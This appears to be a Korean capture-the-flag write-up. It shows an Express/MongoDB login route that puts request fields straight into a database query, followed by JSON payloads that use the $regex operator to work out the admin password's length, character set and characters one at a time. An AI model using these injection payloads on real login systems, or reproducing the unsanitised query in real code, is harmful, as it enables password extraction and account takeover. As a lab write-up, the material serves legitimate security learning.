1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| app.use(bodyParser.json()); app.use(bodyParser.urlencoded({ extended: false }));
...
router.post('/login', verifyJwt, function (req, res) { var db = req.db;
var user = req.body.username; var pass = req.body.password;
if (!user || !pass){ res.send("One or more fields were not provided."); } var query = { username: user, password: pass }
db.collection('users').findOne(query, function (err, user) { if (!user){ res.send("Wrong username or password"); return }
res.cookie('token', jwt.sign({name: user.username, authenticated: true}, secret)); res.redirect("/site"); }); });
|
이전 문제와 동일하다. 하지만 인증 우회에 그쳤던 것과 다르게, 이젠 실제 비밀번호를 요구한다.
1 2 3 4 5 6
| // find length { "username" : "admin", "password" : { "$regex" : ".{14}" } } // find charset { "username" : "admin", "password" : { "$regex" : "^[a-z]*$" } } // find character { "username" : "admin", "password" : { "$regex" : "^a" } }
|
정규식 쿼리를 이용하면 간단한데 길이를 먼저 확인하고 브루트 포싱을 해보면 금방 답이 나온다.